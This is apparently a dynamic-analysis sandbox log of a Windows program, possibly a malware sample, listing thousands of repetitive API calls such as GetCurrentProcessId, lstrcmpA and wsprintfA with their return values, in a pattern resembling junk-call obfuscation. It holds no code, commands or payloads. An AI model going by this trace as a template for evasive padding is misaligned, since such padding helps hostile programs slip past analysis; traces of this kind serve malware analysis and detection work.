[0041.689] GetCurrentProcessId () returned 0x81c [0041.689] GetCurrentProcessId () returned 0x81c [0041.689] GetCurrentProcessId () returned 0x81c [0041.690] lstrlenA (lpString="just string") returned 11 [0041.690] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.690] GetLastError () returned 0x57 [0041.690] lstrlenA (lpString="just string") returned 11 [0041.690] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.690] GetLastError () returned 0x57 [0041.690] GetCurrentProcessId () returned 0x81c [0041.690] GetCurrentProcessId () returned 0x81c [0041.690] GetCurrentProcessId () returned 0x81c [0041.690] lstrlenA (lpString="just string") returned 11 [0041.690] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.690] GetLastError () returned 0x57 [0041.690] GetLastError () returned 0x57 [0041.690] GetLastError () returned 0x57 [0041.690] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="359EP") returned 5 [0041.690] SetLastError (dwErrCode=0x57) [0041.690] GetCurrentProcessId () returned 0x81c [0041.690] GetCurrentProcessId () returned 0x81c [0041.690] GetCurrentProcessId () returned 0x81c [0041.690] GetCurrentProcessId () returned 0x81c [0041.690] lstrlenA (lpString="just string") returned 11 [0041.690] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.690] GetLastError () returned 0x57 [0041.690] GetLastError () returned 0x57 [0041.690] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0041.690] SetLastError (dwErrCode=0x57) [0041.690] GetCurrentProcess () returned 0xffffffff [0041.690] GetLastError () returned 0x57 [0041.690] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="35C4P") returned 5 [0041.690] SetLastError (dwErrCode=0x57) [0041.690] GetCurrentProcessId () returned 0x81c [0041.690] GetCurrentProcess () returned 0xffffffff [0041.690] GetLastError () returned 0x57 [0041.690] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="35C5P") returned 5 [0041.690] SetLastError (dwErrCode=0x57) [0041.690] GetCurrentProcessId () returned 0x81c [0041.690] GetLastError () returned 0x57 [0041.690] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="35C6P") returned 5 [0041.690] SetLastError (dwErrCode=0x57) [0041.690] GetCurrentProcessId () returned 0x81c [0041.690] GetCurrentProcessId () returned 0x81c [0041.691] GetCurrentProcessId () returned 0x81c [0041.691] GetCurrentProcessId () returned 0x81c [0041.691] lstrlenA (lpString="just string") returned 11 [0041.691] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.691] GetLastError () returned 0x57 [0041.691] GetCurrentProcessId () returned 0x81c [0041.691] lstrlenA (lpString="just string") returned 11 [0041.691] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.691] GetLastError () returned 0x57 [0041.691] GetLastError () returned 0x57 [0041.691] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="35E4P") returned 5 [0041.691] SetLastError (dwErrCode=0x57) [0041.691] GetCurrentProcessId () returned 0x81c [0041.691] GetCurrentProcessId () returned 0x81c [0041.691] GetCurrentProcessId () returned 0x81c [0041.691] GetCurrentProcessId () returned 0x81c [0041.691] lstrlenA (lpString="just string") returned 11 [0041.691] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.691] GetLastError () returned 0x57 [0041.691] GetCurrentProcess () returned 0xffffffff [0041.691] GetLastError () returned 0x57 [0041.691] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="3615P") returned 5 [0041.691] SetLastError (dwErrCode=0x57) [0041.691] GetCurrentProcessId () returned 0x81c [0041.691] GetLastError () returned 0x57 [0041.691] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="3616P") returned 5 [0041.691] SetLastError (dwErrCode=0x57) [0041.691] GetCurrentProcessId () returned 0x81c [0041.691] GetCurrentProcessId () returned 0x81c [0041.691] GetCurrentProcessId () returned 0x81c [0041.691] GetCurrentProcessId () returned 0x81c [0041.691] lstrlenA (lpString="just string") returned 11 [0041.691] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.691] GetLastError () returned 0x57 [0041.691] lstrlenA (lpString="just string") returned 11 [0041.691] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.691] GetLastError () returned 0x57 [0041.691] GetLastError () returned 0x57 [0041.691] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="367AP") returned 5 [0041.691] SetLastError (dwErrCode=0x57) [0041.691] GetCurrentProcessId () returned 0x81c [0041.691] GetCurrentProcessId () returned 0x81c [0041.691] GetCurrentProcessId () returned 0x81c [0041.691] GetCurrentProcessId () returned 0x81c [0041.692] lstrlenA (lpString="just string") returned 11 [0041.692] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.692] GetLastError () returned 0x57 [0041.692] GetCurrentProcess () returned 0xffffffff [0041.692] GetLastError () returned 0x57 [0041.692] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="3683P") returned 5 [0041.692] SetLastError (dwErrCode=0x57) [0041.692] GetCurrentProcessId () returned 0x81c [0041.692] GetLastError () returned 0x57 [0041.692] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="3684P") returned 5 [0041.692] SetLastError (dwErrCode=0x57) [0041.692] GetCurrentProcessId () returned 0x81c [0041.692] GetCurrentProcessId () returned 0x81c [0041.692] GetCurrentProcessId () returned 0x81c [0041.692] GetCurrentProcessId () returned 0x81c [0041.692] lstrlenA (lpString="just string") returned 11 [0041.692] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.692] GetLastError () returned 0x57 [0041.692] lstrlenA (lpString="just string") returned 11 [0041.692] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.692] GetLastError () returned 0x57 [0041.692] GetCurrentProcess () returned 0xffffffff [0041.692] GetLastError () returned 0x57 [0041.692] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="36ABP") returned 5 [0041.692] SetLastError (dwErrCode=0x57) [0041.692] GetCurrentProcessId () returned 0x81c [0041.692] GetLastError () returned 0x57 [0041.692] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="36ACP") returned 5 [0041.692] SetLastError (dwErrCode=0x57) [0041.692] GetCurrentProcessId () returned 0x81c [0041.692] GetCurrentProcessId () returned 0x81c [0041.692] GetCurrentProcessId () returned 0x81c [0041.692] GetCurrentProcessId () returned 0x81c [0041.692] lstrlenA (lpString="just string") returned 11 [0041.692] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.692] GetLastError () returned 0x57 [0041.692] GetLastError () returned 0x57 [0041.692] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0041.692] SetLastError (dwErrCode=0x57) [0041.692] GetCurrentProcess () returned 0xffffffff [0041.692] GetLastError () returned 0x57 [0041.693] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="36E6P") returned 5 [0041.693] SetLastError (dwErrCode=0x57) [0041.693] GetCurrentProcessId () returned 0x81c [0041.693] GetCurrentProcess () returned 0xffffffff [0041.693] GetLastError () returned 0x57 [0041.693] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="36E7P") returned 5 [0041.693] SetLastError (dwErrCode=0x57) [0041.693] GetCurrentProcessId () returned 0x81c [0041.693] GetLastError () returned 0x57 [0041.693] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="36E8P") returned 5 [0041.693] SetLastError (dwErrCode=0x57) [0041.693] GetCurrentProcessId () returned 0x81c [0041.693] GetCurrentProcessId () returned 0x81c [0041.693] GetCurrentProcessId () returned 0x81c [0041.693] GetCurrentProcessId () returned 0x81c [0041.693] lstrlenA (lpString="just string") returned 11 [0041.693] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.693] GetLastError () returned 0x57 [0041.693] lstrlenA (lpString="just string") returned 11 [0041.693] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.693] GetLastError () returned 0x57 [0041.693] GetCurrentProcess () returned 0xffffffff [0041.693] GetLastError () returned 0x57 [0041.693] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="370FP") returned 5 [0041.693] SetLastError (dwErrCode=0x57) [0041.693] GetCurrentProcessId () returned 0x81c [0041.693] GetLastError () returned 0x57 [0041.693] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="3710P") returned 5 [0041.693] SetLastError (dwErrCode=0x57) [0041.693] GetCurrentProcessId () returned 0x81c [0041.693] GetCurrentProcessId () returned 0x81c [0041.693] GetCurrentProcessId () returned 0x81c [0041.693] GetCurrentProcessId () returned 0x81c [0041.693] lstrlenA (lpString="just string") returned 11 [0041.693] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.693] GetLastError () returned 0x57 [0041.694] GetCurrentProcess () returned 0xffffffff [0041.694] GetLastError () returned 0x57 [0041.694] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="372DP") returned 5 [0041.694] SetLastError (dwErrCode=0x57) [0041.694] GetCurrentProcessId () returned 0x81c [0041.694] GetLastError () returned 0x57 [0041.694] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="372EP") returned 5 [0041.694] SetLastError (dwErrCode=0x57) [0041.694] GetCurrentProcessId () returned 0x81c [0041.694] GetCurrentProcessId () returned 0x81c [0041.694] GetCurrentProcessId () returned 0x81c [0041.694] GetCurrentProcessId () returned 0x81c [0041.694] lstrlenA (lpString="just string") returned 11 [0041.694] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.694] GetLastError () returned 0x57 [0041.694] GetCurrentProcessId () returned 0x81c [0041.694] GetCurrentProcessId () returned 0x81c [0041.694] GetCurrentProcessId () returned 0x81c [0041.694] lstrlenA (lpString="just string") returned 11 [0041.694] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.694] GetLastError () returned 0x57 [0041.694] GetLastError () returned 0x57 [0041.694] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0041.694] SetLastError (dwErrCode=0x57) [0041.694] GetCurrentProcess () returned 0xffffffff [0041.694] GetLastError () returned 0x57 [0041.694] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="377CP") returned 5 [0041.694] SetLastError (dwErrCode=0x57) [0041.694] GetCurrentProcessId () returned 0x81c [0041.694] GetCurrentProcess () returned 0xffffffff [0041.694] GetLastError () returned 0x57 [0041.694] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="377DP") returned 5 [0041.694] SetLastError (dwErrCode=0x57) [0041.694] GetCurrentProcessId () returned 0x81c [0041.694] GetLastError () returned 0x57 [0041.694] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="377EP") returned 5 [0041.694] SetLastError (dwErrCode=0x57) [0041.694] GetCurrentProcessId () returned 0x81c [0041.694] GetCurrentProcessId () returned 0x81c [0041.694] GetCurrentProcessId () returned 0x81c [0041.694] GetCurrentProcessId () returned 0x81c [0041.694] lstrlenA (lpString="just string") returned 11 [0041.694] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.694] GetLastError () returned 0x57 [0041.694] GetLastError () returned 0x57 [0041.695] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0041.695] SetLastError (dwErrCode=0x57) [0041.695] GetCurrentProcess () returned 0xffffffff [0041.695] GetLastError () returned 0x57 [0041.695] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="37C2P") returned 5 [0041.695] SetLastError (dwErrCode=0x57) [0041.695] GetCurrentProcessId () returned 0x81c [0041.695] GetCurrentProcess () returned 0xffffffff [0041.695] GetLastError () returned 0x57 [0041.695] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="37C3P") returned 5 [0041.695] SetLastError (dwErrCode=0x57) [0041.695] GetCurrentProcessId () returned 0x81c [0041.695] GetLastError () returned 0x57 [0041.695] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="37C4P") returned 5 [0041.695] SetLastError (dwErrCode=0x57) [0041.695] GetCurrentProcessId () returned 0x81c [0041.695] GetCurrentProcessId () returned 0x81c [0041.695] GetCurrentProcessId () returned 0x81c [0041.695] GetCurrentProcessId () returned 0x81c [0041.695] lstrlenA (lpString="just string") returned 11 [0041.695] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.695] GetLastError () returned 0x57 [0041.695] GetLastError () returned 0x57 [0041.695] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="37D8P") returned 5 [0041.695] SetLastError (dwErrCode=0x57) [0041.695] GetCurrentProcessId () returned 0x81c [0041.695] GetCurrentProcessId () returned 0x81c [0041.695] GetCurrentProcessId () returned 0x81c [0041.695] GetCurrentProcessId () returned 0x81c [0041.695] lstrlenA (lpString="just string") returned 11 [0041.695] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.695] GetLastError () returned 0x57 [0041.695] lstrlenA (lpString="just string") returned 11 [0041.695] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.695] GetLastError () returned 0x57 [0041.695] GetCurrentProcessId () returned 0x81c [0041.695] GetCurrentProcessId () returned 0x81c [0041.695] GetCurrentProcessId () returned 0x81c [0041.695] lstrlenA (lpString="just string") returned 11 [0041.695] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.695] GetLastError () returned 0x57 [0041.695] GetCurrentProcessId () returned 0x81c [0041.695] lstrlenA (lpString="just string") returned 11 [0041.695] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.695] GetLastError () returned 0x57 [0041.695] GetLastError () returned 0x57 [0041.696] lstrcmpA (lpString1="\x08\x8a;", lpString2="luck") returned 1 [0041.696] SetLastError (dwErrCode=0x57) [0041.696] GetCurrentProcess () returned 0xffffffff [0041.696] GetLastError () returned 0x57 [0041.696] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="3894P") returned 5 [0041.696] SetLastError (dwErrCode=0x57) [0041.696] GetCurrentProcessId () returned 0x81c [0041.696] GetCurrentProcess () returned 0xffffffff [0041.696] GetLastError () returned 0x57 [0041.696] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="3895P") returned 5 [0041.696] SetLastError (dwErrCode=0x57) [0041.696] GetCurrentProcessId () returned 0x81c [0041.696] GetLastError () returned 0x57 [0041.696] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="3896P") returned 5 [0041.696] SetLastError (dwErrCode=0x57) [0041.696] GetCurrentProcessId () returned 0x81c [0041.696] GetCurrentProcessId () returned 0x81c [0041.696] GetCurrentProcessId () returned 0x81c [0041.696] GetCurrentProcessId () returned 0x81c [0041.696] lstrlenA (lpString="just string") returned 11 [0041.696] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.696] GetLastError () returned 0x57 [0041.696] GetLastError () returned 0x57 [0041.696] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="38AAP") returned 5 [0041.696] SetLastError (dwErrCode=0x57) [0041.696] GetCurrentProcessId () returned 0x81c [0041.696] GetCurrentProcessId () returned 0x81c [0041.696] GetCurrentProcessId () returned 0x81c [0041.696] GetCurrentProcessId () returned 0x81c [0041.697] lstrlenA (lpString="just string") returned 11 [0041.697] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.697] GetLastError () returned 0x57 [0041.697] GetLastError () returned 0x57 [0041.697] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0041.697] SetLastError (dwErrCode=0x57) [0041.697] GetCurrentProcess () returned 0xffffffff [0041.697] GetLastError () returned 0x57 [0041.697] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="38C6P") returned 5 [0041.697] SetLastError (dwErrCode=0x57) [0041.697] GetCurrentProcessId () returned 0x81c [0041.697] GetCurrentProcess () returned 0xffffffff [0041.697] GetLastError () returned 0x57 [0041.697] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="38C7P") returned 5 [0041.697] SetLastError (dwErrCode=0x57) [0041.697] GetCurrentProcessId () returned 0x81c [0041.697] GetLastError () returned 0x57 [0041.697] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="38C8P") returned 5 [0041.697] SetLastError (dwErrCode=0x57) [0041.697] GetCurrentProcessId () returned 0x81c [0041.697] GetCurrentProcessId () returned 0x81c [0041.697] GetCurrentProcessId () returned 0x81c [0041.697] GetCurrentProcessId () returned 0x81c [0041.697] lstrlenA (lpString="just string") returned 11 [0041.697] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.697] GetLastError () returned 0x57 [0041.697] GetLastError () returned 0x57 [0041.697] lstrcmpA (lpString1="\x08\x8a;", lpString2="luck") returned 1 [0041.697] SetLastError (dwErrCode=0x57) [0041.697] GetCurrentProcess () returned 0xffffffff [0041.697] GetLastError () returned 0x57 [0041.697] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="3902P") returned 5 [0041.697] SetLastError (dwErrCode=0x57) [0041.697] GetCurrentProcessId () returned 0x81c [0041.697] GetCurrentProcess () returned 0xffffffff [0041.697] GetLastError () returned 0x57 [0041.697] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="3903P") returned 5 [0041.697] SetLastError (dwErrCode=0x57) [0041.697] GetCurrentProcessId () returned 0x81c [0041.697] GetLastError () returned 0x57 [0041.698] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="3904P") returned 5 [0041.698] SetLastError (dwErrCode=0x57) [0041.698] GetCurrentProcessId () returned 0x81c [0041.698] GetCurrentProcessId () returned 0x81c [0041.698] GetCurrentProcessId () returned 0x81c [0041.698] GetCurrentProcessId () returned 0x81c [0041.698] lstrlenA (lpString="just string") returned 11 [0041.698] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.698] GetLastError () returned 0x57 [0041.698] GetCurrentProcessId () returned 0x81c [0041.698] GetCurrentProcessId () returned 0x81c [0041.698] GetCurrentProcessId () returned 0x81c [0041.698] lstrlenA (lpString="just string") returned 11 [0041.698] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.698] GetLastError () returned 0x57 [0041.698] GetCurrentProcess () returned 0xffffffff [0041.698] GetLastError () returned 0x57 [0041.698] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="3921P") returned 5 [0041.698] SetLastError (dwErrCode=0x57) [0041.698] GetCurrentProcessId () returned 0x81c [0041.698] GetLastError () returned 0x57 [0041.698] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="3922P") returned 5 [0041.698] SetLastError (dwErrCode=0x57) [0041.698] GetCurrentProcessId () returned 0x81c [0041.698] GetCurrentProcessId () returned 0x81c [0041.698] GetCurrentProcessId () returned 0x81c [0041.698] GetCurrentProcessId () returned 0x81c [0041.698] lstrlenA (lpString="just string") returned 11 [0041.698] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.698] GetLastError () returned 0x57 [0041.698] GetLastError () returned 0x57 [0041.698] lstrcmpA (lpString1="\x08\x8a;", lpString2="luck") returned 1 [0041.698] SetLastError (dwErrCode=0x57) [0041.698] GetCurrentProcess () returned 0xffffffff [0041.698] GetLastError () returned 0x57 [0041.698] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="3952P") returned 5 [0041.698] SetLastError (dwErrCode=0x57) [0041.698] GetCurrentProcessId () returned 0x81c [0041.698] GetCurrentProcess () returned 0xffffffff [0041.698] GetLastError () returned 0x57 [0041.698] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="3953P") returned 5 [0041.698] SetLastError (dwErrCode=0x57) [0041.698] GetCurrentProcessId () returned 0x81c [0041.699] GetLastError () returned 0x57 [0041.699] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="3954P") returned 5 [0041.699] SetLastError (dwErrCode=0x57) [0041.699] GetCurrentProcessId () returned 0x81c [0041.699] GetCurrentProcessId () returned 0x81c [0041.699] GetCurrentProcessId () returned 0x81c [0041.699] GetCurrentProcessId () returned 0x81c [0041.699] lstrlenA (lpString="just string") returned 11 [0041.699] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.699] GetLastError () returned 0x57 [0041.699] GetLastError () returned 0x57 [0041.699] GetLastError () returned 0x57 [0041.699] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="39A4P") returned 5 [0041.699] SetLastError (dwErrCode=0x57) [0041.699] GetCurrentProcessId () returned 0x81c [0041.699] GetCurrentProcessId () returned 0x81c [0041.699] GetCurrentProcessId () returned 0x81c [0041.699] GetCurrentProcessId () returned 0x81c [0041.699] lstrlenA (lpString="just string") returned 11 [0041.699] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.699] GetLastError () returned 0x57 [0041.699] GetLastError () returned 0x57 [0041.699] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="39C2P") returned 5 [0041.699] SetLastError (dwErrCode=0x57) [0041.699] GetCurrentProcessId () returned 0x81c [0041.699] GetCurrentProcessId () returned 0x81c [0041.699] GetCurrentProcessId () returned 0x81c [0041.699] GetCurrentProcessId () returned 0x81c [0041.699] lstrlenA (lpString="just string") returned 11 [0041.699] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.699] GetLastError () returned 0x57 [0041.699] GetLastError () returned 0x57 [0041.699] GetLastError () returned 0x57 [0041.699] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="39FEP") returned 5 [0041.699] SetLastError (dwErrCode=0x57) [0041.699] GetCurrentProcessId () returned 0x81c [0041.699] GetCurrentProcessId () returned 0x81c [0041.699] GetCurrentProcessId () returned 0x81c [0041.699] GetCurrentProcessId () returned 0x81c [0041.699] lstrlenA (lpString="just string") returned 11 [0041.699] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.699] GetLastError () returned 0x57 [0041.699] GetLastError () returned 0x57 [0041.699] GetLastError () returned 0x57 [0041.700] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0041.700] SetLastError (dwErrCode=0x57) [0041.700] GetCurrentProcess () returned 0xffffffff [0041.700] GetLastError () returned 0x57 [0041.700] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="3A38P") returned 5 [0041.700] SetLastError (dwErrCode=0x57) [0041.700] GetCurrentProcessId () returned 0x81c [0041.700] GetCurrentProcess () returned 0xffffffff [0041.700] GetLastError () returned 0x57 [0041.700] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="3A39P") returned 5 [0041.700] SetLastError (dwErrCode=0x57) [0041.700] GetCurrentProcessId () returned 0x81c [0041.700] GetLastError () returned 0x57 [0041.700] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="3A3AP") returned 5 [0041.700] SetLastError (dwErrCode=0x57) [0041.700] GetCurrentProcessId () returned 0x81c [0041.700] GetCurrentProcessId () returned 0x81c [0041.700] GetCurrentProcessId () returned 0x81c [0041.700] GetCurrentProcessId () returned 0x81c [0041.700] lstrlenA (lpString="just string") returned 11 [0041.700] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.700] GetLastError () returned 0x57 [0041.700] GetCurrentProcessId () returned 0x81c [0041.700] GetCurrentProcessId () returned 0x81c [0041.700] lstrlenA (lpString="just string") returned 11 [0041.700] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.700] GetLastError () returned 0x57 [0041.700] GetCurrentProcessId () returned 0x81c [0041.700] lstrlenA (lpString="just string") returned 11 [0041.700] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.700] GetLastError () returned 0x57 [0041.700] GetLastError () returned 0x57 [0041.700] GetLastError () returned 0x57 [0041.700] lstrcmpA (lpString1="\x08\x8a;", lpString2="luck") returned 1 [0041.700] SetLastError (dwErrCode=0x57) [0041.700] GetCurrentProcess () returned 0xffffffff [0041.700] GetLastError () returned 0x57 [0041.700] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="3ABAP") returned 5 [0041.700] SetLastError (dwErrCode=0x57) [0041.700] GetCurrentProcessId () returned 0x81c [0041.700] GetCurrentProcess () returned 0xffffffff [0041.700] GetLastError () returned 0x57 [0041.700] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="3ABBP") returned 5 [0041.700] SetLastError (dwErrCode=0x57) [0041.700] GetCurrentProcessId () returned 0x81c [0041.700] GetLastError () returned 0x57 [0041.700] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="3ABCP") returned 5 [0041.700] SetLastError (dwErrCode=0x57) [0041.700] GetCurrentProcessId () returned 0x81c [0041.700] GetCurrentProcessId () returned 0x81c [0041.700] GetCurrentProcessId () returned 0x81c [0041.700] GetCurrentProcessId () returned 0x81c [0041.700] lstrlenA (lpString="just string") returned 11 [0041.700] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.700] GetLastError () returned 0x57 [0041.700] GetCurrentProcessId () returned 0x81c [0041.700] GetCurrentProcessId () returned 0x81c [0041.700] GetCurrentProcessId () returned 0x81c [0041.701] lstrlenA (lpString="just string") returned 11 [0041.701] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.701] GetLastError () returned 0x57 [0041.701] GetLastError () returned 0x57 [0041.701] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0041.701] SetLastError (dwErrCode=0x57) [0041.701] GetCurrentProcess () returned 0xffffffff [0041.701] GetLastError () returned 0x57 [0041.701] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="3B28P") returned 5 [0041.701] SetLastError (dwErrCode=0x57) [0041.701] GetCurrentProcessId () returned 0x81c [0041.701] GetCurrentProcess () returned 0xffffffff [0041.701] GetLastError () returned 0x57 [0041.701] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="3B29P") returned 5 [0041.701] SetLastError (dwErrCode=0x57) [0041.701] GetCurrentProcessId () returned 0x81c [0041.701] GetLastError () returned 0x57 [0041.701] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="3B2AP") returned 5 [0041.701] SetLastError (dwErrCode=0x57) [0041.701] GetCurrentProcessId () returned 0x81c [0041.701] GetCurrentProcessId () returned 0x81c [0041.701] GetCurrentProcessId () returned 0x81c [0041.701] GetCurrentProcessId () returned 0x81c [0041.701] lstrlenA (lpString="just string") returned 11 [0041.701] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.701] GetLastError () returned 0x57 [0041.701] lstrlenA (lpString="just string") returned 11 [0041.701] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.701] GetLastError () returned 0x57 [0041.701] GetLastError () returned 0x57 [0041.701] lstrcmpA (lpString1="\x08\x8a;", lpString2="luck") returned 1 [0041.701] SetLastError (dwErrCode=0x57) [0041.701] GetCurrentProcess () returned 0xffffffff [0041.701] GetLastError () returned 0x57 [0041.701] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="3B64P") returned 5 [0041.701] SetLastError (dwErrCode=0x57) [0041.701] GetCurrentProcessId () returned 0x81c [0041.701] GetCurrentProcess () returned 0xffffffff [0041.701] GetLastError () returned 0x57 [0041.701] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="3B65P") returned 5 [0041.701] SetLastError (dwErrCode=0x57) [0041.701] GetCurrentProcessId () returned 0x81c [0041.701] GetLastError () returned 0x57 [0041.701] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="3B66P") returned 5 [0041.701] SetLastError (dwErrCode=0x57) [0041.701] GetCurrentProcessId () returned 0x81c [0041.701] GetCurrentProcessId () returned 0x81c [0041.701] GetCurrentProcessId () returned 0x81c [0041.701] GetCurrentProcessId () returned 0x81c [0041.701] lstrlenA (lpString="just string") returned 11 [0041.701] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.701] GetLastError () returned 0x57 [0041.701] GetLastError () returned 0x57 [0041.701] GetLastError () returned 0x57 [0041.701] lstrcmpA (lpString1="\x08\x8a;", lpString2="luck") returned 1 [0041.702] SetLastError (dwErrCode=0x57) [0041.702] GetCurrentProcess () returned 0xffffffff [0041.702] GetLastError () returned 0x57 [0041.702] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="3BAAP") returned 5 [0041.702] SetLastError (dwErrCode=0x57) [0041.702] GetCurrentProcessId () returned 0x81c [0041.702] GetCurrentProcess () returned 0xffffffff [0041.702] GetLastError () returned 0x57 [0041.702] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="3BABP") returned 5 [0041.702] SetLastError (dwErrCode=0x57) [0041.702] GetCurrentProcessId () returned 0x81c [0041.702] GetLastError () returned 0x57 [0041.702] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="3BACP") returned 5 [0041.702] SetLastError (dwErrCode=0x57) [0041.702] GetCurrentProcessId () returned 0x81c [0041.702] GetCurrentProcessId () returned 0x81c [0041.702] GetCurrentProcessId () returned 0x81c [0041.702] GetCurrentProcessId () returned 0x81c [0041.702] lstrlenA (lpString="just string") returned 11 [0041.702] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.702] GetLastError () returned 0x57 [0041.702] GetLastError () returned 0x57 [0041.702] lstrcmpA (lpString1="\x08\x8a;", lpString2="luck") returned 1 [0041.702] SetLastError (dwErrCode=0x57) [0041.702] GetCurrentProcess () returned 0xffffffff [0041.702] GetLastError () returned 0x57 [0041.702] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="3BE6P") returned 5 [0041.702] SetLastError (dwErrCode=0x57) [0041.702] GetCurrentProcessId () returned 0x81c [0041.702] GetCurrentProcess () 